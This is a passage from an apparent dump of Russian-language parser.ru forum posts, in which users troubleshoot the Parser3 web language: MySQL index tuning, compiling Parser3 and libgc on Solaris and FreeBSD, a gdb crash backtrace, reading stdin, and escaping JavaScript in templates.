1	SIMPLE	article	ALL	PRIMARY,group_id,dt_published,is_active	NULL	NULL	NULL	4684	Using where; Using temporary; Using filesort\
1	SIMPLE	groups	eq_ref	PRIMARY	PRIMARY	4	qha.article.group_id	1	Using where\
1	SIMPLE	article_translation	ref	article_id_2	article_id_2	5	qha.article.id,const	1	Using index\
[/code]\
\
вот индексы для таблицы groups\
[code]Table	Non_unique	Key_name	Seq_in_index	Column_name	Collation	Cardinality	Sub_part	Packed	Null	Index_type	Comment\
groups	0	PRIMARY	1	id	A	36	NULL	NULL		BTREE	\
groups	1	parent_ix	1	parent_id	A	2	NULL	NULL		BTREE	\
groups	1	type_is	1	type_is	A	9	NULL	NULL		BTREE	\
[/code]\
\
для таблицы article\
[code]Table	Non_unique	Key_name	Seq_in_index	Column_name	Collation	Cardinality	Sub_part	Packed	Null	Index_type	Comment\
article	0	PRIMARY	1	id	A	6245	NULL	NULL		BTREE	\
article	1	group_id	1	group_id	A	12	NULL	NULL		BTREE	\
article	1	region_id	1	region_id	A	2	NULL	NULL		BTREE	\
article	1	dt_published	1	dt_published	A	6245	NULL	NULL		BTREE	\
article	1	is_active	1	is_active	A	0	NULL	NULL		BTREE	\
article	1	parent_id	1	parent_id	A	122	NULL	NULL		BTREE	\
[/code]\
\
и для таблицы article_translation\
[code]Table	Non_unique	Key_name	Seq_in_index	Column_name	Collation	Cardinality	Sub_part	Packed	Null	Index_type	Comment\
article_translation	0	PRIMARY	1	id	A	8800	NULL	NULL		BTREE	\
article_translation	1	article_id_2	1	article_id	A	8800	NULL	NULL		BTREE	\
article_translation	1	article_id_2	2	lang_id	A	8800	NULL	NULL		BTREE	\
article_translation	1	title	1	title	NULL	8800	NULL	NULL	YES	FULLTEXT	\
article_translation	1	body	1	body	NULL	8800	NULL	NULL	YES	FULLTEXT	\
[/code]\
\
Разбить на два запроса..хмм. Попробую. И дополнительное поле можно попробовать."
"60817","сразу напрашивается (group_id, dt_published, is_active) [именно в таком порядке, хотя можно попробовать и dt_published, group_id, is_active]\
\
но от кучи работы при group by он всё равно не спасёт."
"60818","Строка никак не выглядит, просто пишется building parser3 и все. И теперь как ни странно получаю вот что:\
\
Building...\
Configuring parser3...\
Building parser3...\
DONE\
\
\
*********************************************************************************************\
***********\
Now you can copy /home/infotecs/parser3install with subdirectories\
  -Parser3 with XML support-\
to your cgi-bin directory\
Read more about installing Parser here:\
  http://www.parser.ru/en/docs/lang/install4apachecgi.htm in English\
  http://www.parser.ru/docs/lang/install4apachecgi.htm in Russian\
*********************************************************************************************\
***********\
\
То есть судя по экранным сообщениям парсер собирается, а потом идет сообщение о том, что нет библиотеки libgc. Вообще не понятно, что там происходит при компиляции"
"60819","В логе есть вот такой фрагмент:\
\
configure:4096: checking for libgc\
configure:4120: gcc -o conftest -g -O2   conftest.c  -L/home/infotecs/www_1/content/gc/lib -W\
l,-Bstatic -lgc -Wl,-Bdynamic >&5\
ld: fatal: relocation error: R_SPARC_32: file /home/infotecs/www_1/content/gc/lib/libgc.a(spa\
rc_mach_dep.o): symbol <unknown>: offset 0xfecfb93b is non-aligned\
ld: fatal: relocation error: R_SPARC_32: file /home/infotecs/www_1/content/gc/lib/libgc.a(spa\
rc_mach_dep.o): symbol <unknown>: offset 0xfecfb941 is non-aligned\
ld: fatal: relocation error: R_SPARC_32: file /home/infotecs/www_1/content/gc/lib/libgc.a(spa\
rc_mach_dep.o): symbol <unknown>: offset 0xfecfb945 is non-aligned\
ld: fatal: relocation error: R_SPARC_32: file /home/infotecs/www_1/content/gc/lib/libgc.a(spa\
rc_mach_dep.o): symbol <unknown>: offset 0xfecfb949 is non-aligned\
ld: fatal: relocation error: R_SPARC_32: file /home/infotecs/www_1/content/gc/lib/libgc.a(spa\
rc_mach_dep.o): symbol <unknown>: offset 0xfed06935 is non-aligned\
ld: fatal: relocation error: R_SPARC_32: file /home/infotecs/www_1/content/gc/lib/libgc.a(spa\
rc_mach_dep.o): symbol <unknown>: offset 0xfed11df6 is non-aligned\
collect2: ld returned 1 exit status\
configure:4126: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| extern \"C\" void std::exit (int) throw (); using std::exit;\
| #endif\
| #define NDEBUG\
| #define PA_SAFE_MODE\
| /* end confdefs.h.  */\
| \
|       extern int GC_dont_gc;\
| \
| int\
| main ()\
| {\
| \
|       GC_dont_gc=0;\
| \
|   ;\
|   return 0;\
| }\
configure:4148: result: no\
configure:4150: error: please specify path to libgc: --with-shared-gc OR --with-static-gc"
"60822","т.к. выборка из этой таблицы идет очень разнообразная - много разных запросов - в каждом свои индексы. Можно еще добавить составной индекс, но зачем, когда все требуемые поля уже и так проиндексированы?\
\
Пока разделил запрос на два - сперва выбираю группы новостей, и если запрос вернул результат, запускаю второй запрос. Посмотрим, что завтар скажет статистика."
"60823","[quot]\
Можно еще добавить составной индекс, но зачем, когда все требуемые поля уже и так проиндексированы?\
[/quot]\
\
и что? explain говорит что индексы существующие не используются. оптимизатор не считает, что их использование даст существенный выигрыш. (но составной думаю тоже не даст сильного выигрыша)\
\
[quot]\
Посмотрим, что завтар скажет статистика.\
[/quot]\
\
хм. а сразу на explain и время выполнения нельзя чтоли посмотреть?"
"60824","[code]\
sh -x script.sh\
[/code]\
\
такая команда запустит ваш скрипт не \"вслепую\", а печатая каждую выполняемую команду."
"60825","судя по \
http://permalink.gmane.org/gmane.comp.programming.garbage-collection.boehmgc/915\
\
нужно обновить libtool, для чего можно попробовать в каталоге с libgc запустить утилитку libtoolize (идёт в пакете с automake).\
она обновит файл ltmain.sh.\
\
вот адрес человека, который сумел решить задачу сборки кое-чего с libgc под новый solaris:\
http://lists.ximian.com/pipermail/mono-devel-list/2005-March/010796.html\
\
предлагаю вам параллельно ему отписать, вдруг подскажет?"
"60826","1. сотрите ранее собранный вами libgc.a\
2. в build-all.. поправьте это\
[code]\
  CPPFLAGS=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DUSE_MUNMAP\" \\\
  ./configure --prefix=$project_directory/gc --disable-threads --disable-shared --silent\
  echo \"Building libgc...\"\
  make\
[/code]\
на это\
[code]\
  echo \"Building libgc...\"\
  make ABI_FLAG=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DUSE_MUNMAP\"\
[/code]\
3. перезапустите ./build-all.."
"60827","Я могу ошибаться, но не понимаю.\
\
Вот, скажем, [b]-[/b] это директория, а [b].[/b] это файл.\
[code]- a\
   - b\
   . c\
   . d[/code]\
\
Делаю раз.\
[code]^dirDelete[/a/b;$.is_recursive(true)][/code]\
\
Получаю два. То есть файлов в директории \"b\" тоже нет. Это правильно? Или я чё-то не так понимаю.\
\
Ну, просто по логике, я бы удалил всё, что глубже \"b\", но не больше."
"60828","по логике должно удалиться только то, что внутри b.\
завтра проверю."
"60830","попробуйте так:\
$tFile[^file:list[$sDir]]\
=>\
$tFile[^file:list[$sDir/]]\
\
+ надо сделать чтобы удалялись пустые каталоги. сейчас этого не будет происходить, т.к. код заходит в подкаталог, удаляет все файлы в нём и ожидает что парсер сам удалит пустой каталог. для пустого каталога: он в него зайдет, но т.к. в нём ничего удалять не будет, то парсер не удалит и каталог, поэтому нужно добавить код для удаления каталога. прогладел, т.к. в реалиях я этот код не использую, включил в класс по предложениям с форума."
"60831","Поэтому и позволяет указать ASC/DESC. Чтобы отказаться от сортировки, приходится писать GROUP BY col ORDER BY NULL."
"60832","Здравствуйте!\
Может быть кто-нибудь встречал утилиты подобные nconvert для флеш-файлов?\
Небольшую баннерокрутилку делаю, посоветуйте как реализовать - хотя бы ширину/высоту ролика проверить при загрузке."
"60833","проблему не обнаружил.\
1/\
1/file_1.txt\
1/file_2.txt\
1/2/\
1/2/file_1.txt\
\
^FileSystem:dirDelete[1/2] удаляет файл 1/2/file_1.txt и директорию 1/2/, но не трогает остальное. т.е. удаляется директория 1/2/ со всем её содержимым. так и задумывалось.\
\
с удалением пустых директория заморачиваться не стал, т.к. простое решение ^file:delete[dir] не прокатило, т.к. этот метод удаляет только файлы, а создавать внутри пустой директории что-то, потом удалять, чтобы парсер сам удалил директорию мне не кажется правильным."
"60834","никогда не пользовался. и мне кажется это MySQL extention, а не SQL92 ANSI.\
\
в любом случае _я_ не писал бы это в таком виде, а добавил бы ORDER BY dt_published DESC, хотя чтобы понять из этого эффективнее надо анализировать результаты explain."
"60835","GROUP BY итак сортирует - нужно просто указать направление, не вижу смысла сортировать результат повторно ORDER BY."
"60837","думаю, что в случае, если указано ORDER BY он сразу использует эту сортировку (очевидно, что для уверенности надо это проверять)\
\
GROUP BY + ORDER BY -- SQL92 ANSI совместимый синтаксис\
ORDER BY dt_published - сортировка по одному полю, а не по результату трёх функций. не факт правда что MySQL сможет использовать индекс даже в случае наличия составного индекса (в WHERE есть диапазон).\
\
_моя_ причина: если можно то-же самое сделать не MySQL specific фичей -- я предпочитаю её, ибо MySQL specific может измениться в след. версии, а вот поведение, совместимое с ANSI синтаксисом вряд ли они будут менять."
"60838","Спасибо большое за парсер. \
Только не могу настроить.\
Люди добрые помогите с настройкой.\
писать сюда:\
piramid24@gmail.com"
"60840","[quote]If you use GROUP BY, output rows are sorted according to the GROUP BY columns as if you had an ORDER BY for the same columns. To avoid the overhead of sorting that GROUP BY produces, add ORDER BY NULL[/quote]\
\
http://dev.mysql.com/doc/refman/5.1/en/select.html"
"60841","Суть проблемы:\
Если есть ^try{}{}, то обрабатывется ошибка, если нет ^try{}{}, то всё работает как надо без ошибок.\
\
Сейчас нет быстрого соединения проверяю на модеме до сервера и работает не как ожидается те не работает.\
\
Некоторое время назад этот код успешно прошёл тесты и работал и на быстром соединении и на медленом.\
\
[code]\
^db.menu{\
	$r_connect_string[mysql://$db.login:${db.password}@$db.host/$db.db_name?charset=cp1251_koi8]\
	^try{\
		^connect[$r_connect_string]{$test(^int:sql{SELECT 4-3})}\
		^if($test == 1){\
			^vTestDb[$db.uid]\
		}\
	}{\
		^if($exception.type eq sql.connect){\
			$exception.handled(true)\
		}\
	}\
}\
[/code]\
\
Собаственно вопрос: Что делать?\
и как жить дальше? :)"
"60842","При использовании этого кода периодически возникает 500 ошибка с записью в лог Apache, но без записи в лог парсера. Корок тоже нет."
"60844","и что в апачный лог сыпется - тоже неплохо бы"
"60845","знает ли кто как создать парсерный скрипт который выпускает переменной  stdin?\
\
\
я пробовал уже всего (script.par):\
\
[code]\
#!/usr/bin/env /usr/local/bin/parser3\
$env:stdin\
$form:stdin\
$request:body\
$file:stdin\
$env:STDIN\
$form:STDIN\
$request:body\
$file:STDIN\
[/code]\
\
вывод:\
\
[code]echo sfasdf | ./script.par < ./somefile[/code]\
\
я искал на форуме но никто прежде не решил..."
"60846","Вот код:\
[code]\
^db.menu{\
	$r_connect_string[mysql://$db.login:${db.password}@$db.host/$db.db_name?charset=cp1251_koi8]\
# Поскольку я перебираю несколько баз, некоторые могут\
# оказаться недоступны по разным причинам.\
# Например нет интернета.\
# Именно по этой причине я здесь ловлю ошибку.\
# Которой в нормальных условиях нет.\
# Я рассматриваю нормальные условия когда подключение есть и всё ОК\
# В случае если я отключаю обработку ошибок всё работает\
# нормально, как задумано\
# В случае если оставить обработку, то выскакивает ожидаемая ошибка\
	^try{\
		^connect[$r_connect_string]{$test(^int:sql{SELECT 4-3})}\
		^if($test == 1){\
			^vTestDb[$db.uid]\
		}\
	}{\
# В следующей строке указано какую именно ошибку я ожидаю, а именно \"sql.connect\"\
		^if($exception.type eq sql.connect){\
			$exception.handled(true)\
		}\
	}\
}[/code]\
\
Рабочий вариант кода, закоментирован #^try{#}{#}\
[code]\
^db.menu{\
	$r_connect_string[mysql://$db.login:${db.password}@$db.host/$db.db_name?charset=cp1251_koi8]\
#	^try{\
		^connect[$r_connect_string]{$test(^int:sql{SELECT 4-3})}\
		^if($test == 1){\
			^vTestDb[$db.uid]\
		}\
#	}{\
		^if($exception.type eq sql.connect){\
			$exception.handled(true)\
		}\
#	}\
}[/code]\
\
Встречный вопрос, какая ошибка может быть в логе если я её обрабатываю?\
\
\
В апачевском логе есть ошибка 500 от пользователя oleg по определённому урлу тогоже файла. - Недумаю что эта информация может хоть как-то решить эту проблему, тем более, что это могут быть не связанные ошибки."
"60847","отдельная индексация каждого поля не дает ничего, когда идет группировка и сортировка по группам полей. Как все это работает хорошо описано в разделах доков \"Как MySQL оптимизирует...\".\
\
А вообще я, лично перешел от того, чтобы делать один сложный запрос, к тому чтобы разбивать на несколько простых. Они на порядок быстрее работают.\
В большинстве случаев они сводятся к чтому чтобы с помощью SELECT DISTINCT ... выбрать parent id для связанных таблиц, а далее очень быстрым запросом SELECT ... FROM ... WHERE p_id IN (..) достать все что нужно.\
\
Рекомендую всем разобраться в примере Миши... Кстати, а где пример про простой форум и про ^table.hash[][$.distinct[tables]]?? ))"
"60848","с трудом представляю в чем связана ошибка.\
попробуйте после connect что-нить писать в log (с append), может это как-то прояснит ситуацию."
"60849","насколько я понял ваше сообщение про… кишки ;)"
"60850","Добрый день!\
\
Пример:\
$today[^date::now[]]\
$today.day/$today.month/$today.year\
\
например выводит 5/7/2007\
\
есть идеи, как самым элегантным образом преобразовать дату так, чтобы выводилось 05/07/2007"
"60852","1. ^число.format[форматная строка]\
2. ^dtf:format[%d/%m/%Y;$today]"
"60853","С обработкой ошибок стало снова всё нормально. Возможно действительно было неустойчивое соединение."
"60854","С 500 ошибкой, непонятна её природа, тк возникает при запросе UPDATE несуществующей строки (Делается из-за допущенной мной логической ошибки которую я понимаю и устраню). Просто как мне кажется ошибка должна быть другая, тогда её проще было бы найти.\
\
Как я говорил пишется в лог апача, а в лог парсера не пишется"
"60855","Первый ваш кусок кода гласит, что если при соединении к базе данных, неудалось соеденится с сервером (произошла ошибка sql.connect) - то ничего не делать, в лог парсера ничего не писать, если же произошла какая то _другая ошибка_ - то ругнуться, и слить в лог инфу об ошибке. Это понятно.\
Непонятно другое - дальше вы пишете, что у Вас \"выскакивает\" какая то ошибка, но не говорите какая (sql.connect не будет \"выскакивать\" в вашем случае, она обработана). Или вы хотите сказать, что несмотря на $exeption.handled(1) у вас именно в этом месте происходит таки sql.connect? Тогда я пас, либо вы наткнулись на какой то серьезный баг, либо неточно описываете ситуацию (например что происходит в ^vTestDb[$db.uid]?)\
\
Что касается - вот этого - http://www.parser.ru/forum/?id=60854 - то, имхо, вы разводите чистый флейм. То вы говорите, о некоторой ошибке 500 (которую не приводите вообще), что она несущественна, то что не понимаете какую она имеет природу, почему то связывая ее с UPDATE (такого быть не должно, при 500 ошибке дело не доходит до момента соединения парсера с БД).. \
Вы по делу, или просто поболтать хотите?"
"60856","Короче, давно замечаю, но не придавал особого значения. Иногда страница открывается неполностью - такое ощущение что половина где-то затерялась. Думал, может хостинг тупит. Проверил на другом - та же беда. В чем может быть проблема? Кто нибудь сталкивался с таким?"
"60857","я поиграл немношко с $console:line...\
\
$console:line ok, но $console:line[текст] очень тяжелый.\
Зачем выводить на console чепез [code]$console:line[текст]?[/code]\
Не лучше ли просто [code]текст[/code]?\
\
Сматрите ещо такойе примеры:\
\
[code]\
#!/usr/local/bin/parser3\
$console:line\
$test[$console:line]\
$test\
[/code]\
\
[code]\
#!/usr/local/bin/parser3\
$console:line[$console:line]\
$console:line\
[/code]\
\
[code]\
[janek@forjesus ~/skrypty-sms]$ echo dsfdsf | ./skrypt.par\
dsfdsf\
\
\
[janek@forjesus ~/skrypty-sms]$\
[/code]\
\
Почему выводить dsfdsf только один раз?\
\
\
****"
"60858","[code]\
[janek@forjesus ~/skrypty-sms]$ echo 'dsf\
sd\
sdf\
sadf\
' | ./skrypt.par\
dsf\
[janek@forjesus ~/skrypty-sms]$\
[/code]\
\
Что мне депать когда в стдин много линей?\
Perlа учиться? Parser мне нравиться."
"60859","то это глюки браузера."
"60860","Господа, выручите пожалуйста..\
Нужен парсер собранный под FreeBSD 5.5 с опцией --disable-safe-mode. Тот, что в резделе \"скачать\" замечательно работает, но отказывается отправлять письма sendmail'ом, говоря:\
'/usr/sbin/sendmail' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option]..\
\
Или посоветуйте как быть. Сайт открылся, а почта не работает - крах полный.."
"60861","[quot]\
Тот, что в резделе \"скачать\"\
[/quot]\
\
какой именно? от студии? для 4.x или 6.x? если первое -- то grpunlim версия на месте..."
"60862","Нет, я о том, что в \"прислали пользователи\": FreeBSD 5.5: Parser 3.2.1sp2 + MySQL драйвер [прислал Андрей Шипилов].\
\
С 4.х и 6.х к сожалению не работают mysql драйвера, как не бился с ними.. =( \
\
Хостинг valuehost.."
"60863","А вот если поставить freebsd 5.5 под vmware и там собрать парсер, будет ли оно работать на valuehost'е?\
Я просто совсем далёк от юникс-систем.."
"60864","Есть такой код:\
\
            <img src=\"shadow.png\" width=\"1\" height=\"1\" alt=\"\"\
                style=\"width: 100%; height: 100%; position: absolute; top: 0; left: 0;\"\
                onload=\"if( this.runtimeStyle && this.src.match( /\\.png$/ ) ){\
                    this.runtimeStyle.filter\
                        = 'progid:DXImageTransform.Microsoft.AlphaImageLoader(src='\
                        + this.src\
                        + ', sizingMethod=scale)';\
                    this.src = '0.gif';\
                }\"\
             />\
\
Парсер выдает ошибку (syntax error, unexpected EON [parser.compile] - это в логе). Т.е., насколько я понимаю он решил что javascript-код - это его код :-) Проблема в том, что я несилен в яваскрипте. Как сделать так, что бы заработало?"
"60866","на update я вышел путём установки в код контрольных точек и понимания порядка выдачи контрольных точек в коде.\
\
До этого самого update контрольные точки есть(отразились в импровизированном лог файле) после нет. - Предполагаем поломку в районе Update.\
\
зы: Если вас действительно заинтересовл этот вопрос вы можете на досуге попробовать отладить один из своих скриптов с помощью error лога апача не подглядывая на сообщения парсера :)\
\
pps: на этом считаю тред закрытым из-за разрешения вопроса и если есть желание по общаться пишите в личку"
"60867","..из здесь присутствующих? \
Сайт стоит, собирать из исходников негде.. :("
"60869","..а это вроде бы пока не поддерживается, насколько я понял из поиска по форуму.."
"60870","Поставил на freebsd 6.2, \
cg-bin\
-rw-r--r--  1 www   www     3179 Jun  1 22:21 auto.p\
-rwxr-xr-x  1 www  www  1297796 Jun  1 19:16 parser3\
пытаюсь выполнить любой скрипт, валится в кору и в логах пишет Premature end of script headers.Пробовал разные версии парсера, не помогло, менял права всяко разно, тоже глухо.\
Подскажите в чем я так туплю :("
"60871","Требования: быть монстром или хотя-бы маньяком =)\
Обязательно знать Парсер, JS и CSS\
не помешают: знания php, администрирования и Java\
Кого устроят 20 тр в месяц для начала -  звоните 2774662"
"60872","пишется одинаково на многих языках.\
\
возможно, опишите основную задачу, что придумаем?\
\
не очень большой объём данных можно передать через environment."
"60873","потому, что line — не переменная.\
и вторая строчка — не печать «того, что туда было положено».\
вдумайтесь и всё станет ясно."
"60874","ключевое слово «grpunlim».\
если вы его не поняли, всегда же можно переспросить."
"60875","запустить с консоли просто\
[code]\
./parser3\
[/code]\
\
может увидите какие дополнительные интересные сообщения?"
"60876","запуск с консоли работает, как обычно говорит все:\
./parser3\
./parser3: file not specified\
Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)"
"60878","я не знаю много языков, но while связываеться меня с таблицами.\
\
$console:line это таблица?\
\
в php пишется такое:\
[code]<?php\
// fill an array with all items from a directory\
$handle = opendir('.');\
while (false !== ($file = readdir($handle))) {\
    $files[] = $file;\
}\
closedir($handle);\
/?>[/code]\
\
на парсере [code]^while($line[$console:line] != false){$line}[/code] выдает \"unexpected '[', expecting EON [parser.compile]\"\
\
\
основная задачя:\
хочю сделать простое смс-уведомлене о почте\
\
Dropmail впускает через stdin всего мейля на мой скрипт, а в парсере я отправляю что мне угодно на смс.\
Environment слишком скромный для этой задачи.\
\
[i]спасибо за обрашене внимания![/i]"
"60881","может это чем-то поможет найти решение проблемы:\
gdb parser3 parser3.core\
GNU gdb 6.1.1 [FreeBSD]\
Copyright 2004 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"i386-marcel-freebsd\"...\
Core was generated by `parser3'.\
Program terminated with signal 11, Segmentation fault.\
Reading symbols from /lib/libcrypt.so.3...done.\
Loaded symbols for /lib/libcrypt.so.3\
Reading symbols from /lib/libm.so.4...done.\
Loaded symbols for /lib/libm.so.4\
Reading symbols from /lib/libc.so.6...done.\
Loaded symbols for /lib/libc.so.6\
Reading symbols from /libexec/ld-elf.so.1...done.\
Loaded symbols for /libexec/ld-elf.so.1\
#0  Request::execute (this=0xbfbfdf90, ops=@0x0) at pa_array.h:221\
221     pa_array.h: No such file or directory.\
        in pa_array.h\
(gdb) bt\
#0  Request::execute (this=0xbfbfdf90, ops=@0x0) at pa_array.h:221\
#1  0x080636d4 in Request::execute_method (this=0xbfbfdf90, amethod_frame=@0x0, method=@0x0) at execute.C:1027\
#2  0x0805232a in Request::core (this=0xbfbfdf90, config_filespec=0x28288ce0 \"х\\023\\r\\b&#9552;&#9556;$(\",\
    config_fail_on_read_problem=false, header_only=false) at pa_wcontext.h:34\
#3  0x0804afe9 in main (argc=-1077944432, argv=0xbfbfdb90) at parser3.C:514\
(gdb) list\
514             request.core(\
515                     config_filespec_cstr, fail_on_config_read_problem,\
516                     header_only);\
517\
518             // no request [prevent signal handlers from accessing invalid memory]\
519             ::request=0;\
520\
521             // finalize global variables\
522             pa_globals_done();\
523\
(gdb) up\
#1  0x080636d4 in Request::execute_method (this=0xbfbfdf90, amethod_frame=@0x0, method=@0x0) at execute.C:1027\
1027            execute(*method.parser_code);\
(gdb) list\
1022\
1023            // initialize contexts\
1024            rcontext=wcontext=method_frame=&amethod_frame;\
1025\
1026            // execute!\
1027            execute(*method.parser_code);\
1028\
1029            // result\
1030            StringOrValue result=wcontext->result();\
1031\
(gdb) up\
#2  0x0805232a in Request::core (this=0xbfbfdf90, config_filespec=0x28288ce0 \"х\\023\\r\\b&#9552;&#9556;$(\",\
    config_fail_on_read_problem=false, header_only=false) at pa_wcontext.h:34\
34      pa_wcontext.h: No such file or directory.\
        in pa_wcontext.h\
(gdb) list\
29      in pa_wcontext.h\
(gdb) up\
#3  0x0804afe9 in main (argc=-1077944432, argv=0xbfbfdb90) at parser3.C:514\
514             request.core(\
(gdb) list\
509                             fail_on_config_read_problem=entry_exists(config_filespec_cstr);\
510                     }\
511             }\
512\
513             // process the request\
514             request.core(\
515                     config_filespec_cstr, fail_on_config_read_problem,\
516                     header_only);\
517\
518             // no request [prevent signal handlers from accessing invalid memory]\
(gdb) up\
Initial frame selected; you cannot go up.\
(gdb) list\
519             ::request=0;\
520\
521             // finalize global variables\
522             pa_globals_done();\
523\
524             //\
525             pa_socks_done();\
526     }\
527\
528     #ifdef PA_SUPPRESS_SYSTEM_EXCEPTION\
(gdb) up\
Initial frame selected; you cannot go up.\
\
\
\
#locate  pa_wcontext.h\
/root/parser/parser-3.2.1/src/types/pa_wcontext.h\
\
#locate pa_array.h\
/root/parser/parser-3.2.1/src/include/pa_array.h"
"60883","Удалось запустить только после пересборки парсера и правкой auto.p, со своим старым (пред. версии) не хотел работать и падал в корку. Правда теперь либа к мускулю не работает."
"60884","Столкнулся с граблями и хочу поделится вот такими интересностями.\
Естественно в начале всем огромное спасибо эа то, что здесь происходит это всё безобразие. Супер.\
.не слушая родных и близких решился на разборку с парсером для сайта. Вот что хочу написать:\
Первое: задача была поставить ЦМС. Какие трудности возникли.\
Скачал у Rafael'я. За что огромное ещё одно спасибо.\
Базу поставил. Так вот по парсеру:\
директива в .htaccess SETENV CGI_PARSER_CONFIG не cработало - сервак взял ту что в cgi-bin. в любом случае-подменил, ура. \
Дальше - права 755-это понятно, библиотека мускула -\
на оф сайте в НОН-РПМ версиях есть в пятой версии - залил - прописал путь (с учётом, что сервак 64, скачать надо 32битную версию x86 которая (НЕ 64:)))\
и наконецто я думал что ура! :) НО! \
Вот что мне так и не попалось в форуме:\
ошибка, что \
Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)\
Ошибку вызвал этот фрагмент:\
mysql://****@localhost/db_name\
делаю файл test.php с содержанием:\
[code]<? echo phpinfo() ?>[/code]\
комментируем строки в .htaccess\
#AddType bla bla bla\
#Ac... bla bla bla\
запускаем файл и находим строчку mysql socket\
например у меня /var/lib/mysql/mysql.sock, что явно не совпадает с ошибкой - точнее именно на неё и указывает.\
Читаем доки по парсеру и видим, что вместо localhost можно написать сокет (не обязательно получается спрашивать его нахождение у админа хехе) \
пишем в конфе: \
$connect_string_mysql[mysql://user:password@[/var/lib/mysql/mysql.sock]/db_name]\
\
Вот так. если бы я нашел такой пост - было бы очень хорошо с временем на выходных. А так пришлось подумать, на что собственно и жаловаться глупо.Надеюсь кому-то будет полезным. Спасибо за внимание. \
з.ы. и всё таки странно, уважаемые знатоки, что на mysql.com не нашлось libmysqlclient.so.12*  в дистах 4ой мускулы. только .а которые. А в пятой куча. Нет, я то сердцем понимаю, что и как. Но мужики то, могут не знать. Ещё раз спасибо за внимание"
"60885","Сначала все собрал стандартно, не заработало, потом все пересобрал по [url=\"http://www.parser.ru/forum/?id=44197\"]примеру на форуме[/url], вместо libparser3mysql.so, на этот раз появились libparser3mysql.a и libparser3mysql.la. Подскажите что с ними делать дальше?\
\
Заранее благодарен."
"60886","Опыта работы с AJAX нет, но время диктует.\
Есть ли какие-то особые проблемы/фичи при использовании AJAX на сайтах построенных на XML+XSL?"
"60887","[code]\
^while($line[$console:line] != false){$line}\
[/code]\
\
$line[$console:line] -- это запись в переменную $line содержимого $console:line. при этом в выражении сравнивать с чем либо это нельзя. \
\
кроме того неопределенная переменная в выражении != false, т.е. надо переписать цикл чуть сложнее, например так:\
\
[code]\
^while(true){\
	^if(def $console:line){\
		$console:line\
	}{\
		^break[]\
	}\
}\
[/code]\
\
упс... сорри, использовал несуществующий пока в 3.2.1 оператор break...\
переписываем без него:\
[code]\
$line[dummy]\
^while(def $line){\
	$line[$console:line]\
	$line\
}\
[/code]\
\
\
P.S. я не знаю будет ли это работать с stdin, я лишь подправил синтаксис."
"60890","Вот так кая проблема\
\
если в HTML файл обрабатываемый парсером вставлять что то простое:\
\
<script>\
alert('asdas');\
</script>\
\
то всё нормально\
\
как только посложнее например (mootools):\
\
[code]\
\
<script type=\"text/javascript\">\
		window.addEvent('domready', function(){\
			/* Tips 1 */\
			var Tips1 = new Tips($$('.Tips1'));\
			\
			/* Tips 2 */\
			var Tips2 = new Tips($$('.Tips2'), {\
				initialize:function(){\
					this.fx = new Fx.Style(this.toolTip, 'opacity', {duration: 500, wait: false}).set(0);\
				},\
				onShow: function(toolTip) {\
					this.fx.start(1);\
				},\
				onHide: function(toolTip) {\
					this.fx.start(0);\
				}\
			});\
			\
			/* Tips 3 */\
			var Tips3 = new Tips($$('.Tips3'), {\
				showDelay: 400,\
				hideDelay: 400,\
				fixed: true\
			});\
			\
			/* Tips 4 */\
			var Tips4 = new Tips($$('.Tips4'), {\
				className: 'custom'\
			});\
		}); \
	</script>\
\
[/code]\
\
сразу начинается \
\
process\
\
-body of process-(19:48): syntax error, unexpected '(', expecting STRING\
\
Как быть в таких случаях ???\
\
я уже перепробовал все taint и untaint"
"60892","[code]$f[^file::load[text;http://www.territory.ru/]][/code]\
вот этот кусок выдает:\
WINDOWS-CP1251\
unknown charset\
\
[code]$f[^file::load[text;http://www.parser.ru/]][/code]\
работает нормально\
\
замена [code]$f[^file::load[binary;http://www.territory.ru/]][/code] ошибку не выдает.\
Почему Parser не видит кодировку?"
"60893","на parser while вы написали совершенно неправильно.\
как именно писать, уверен, разберётесь с документацией.\
\
о обработке входящей почты: мы такую задачу уже решили, и если вы умеете собирать parser из исходников, то, при известном упорстве, получите готовое решение. ключевое слово $mail:received (в документации этого нет).\
\
о environment: это самый простой сейчас подход. попробуйте?"
"60895","parser работает исключительно с .so\
вывод: что-то при сборке динамического варианта libparser3mysql не заладилось.\
\
самый простой выход:\
1. стереть .a, \
2. make\
3. подсмотреть команду, которая появляется (что-то в духе \"g++ ... -o libparser3mysql.a ...\")\
4. добавить в конец команды ключ \"-shared\"\
5. в -o изменить .a на .so"
"60896","Сложно сказать. У всех свои проблемы. Поэтому начните, а как появятся баги, тогда проблемный код в студию ))"
"60897","Посмотрите в auto.p, обыно лежащим рядом с parser3.cgi, такая кодировка описана или нет."
"60898","Такой вариант тоже пробовался:\
\
[code]\
\
<script type=\"text/javascript\">\
		\
			/* Tips 1 */\
			var Tips1 = new Tips(^$^$('.Tips1'))^;\
			\
			/* Tips 2 */\
			var Tips2 = new Tips(^$^$('.Tips2'), {\
				initialize:function(){\
					this.fx = new Fx.Style(this.toolTip, 'opacity', {duration: 500, wait: false}).set(0)^;\
				},\
				onShow: function(toolTip) {\
					this.fx.start(1)^;\
				},\
				onHide: function(toolTip) {\
					this.fx.start(0)^;\
				}\
			})^;\
			\
			/* Tips 3 */\
			var Tips3 = new Tips(^$^$('.Tips3'), {\
				showDelay: 400,\
				hideDelay: 400,\
				fixed: true\
			})^;\
			\
			/* Tips 4 */\
			var Tips4 = new Tips(^$^$('.Tips4'), {\
				className: 'custom'\
			})^;\
			 \
	</script>\
[/code]"
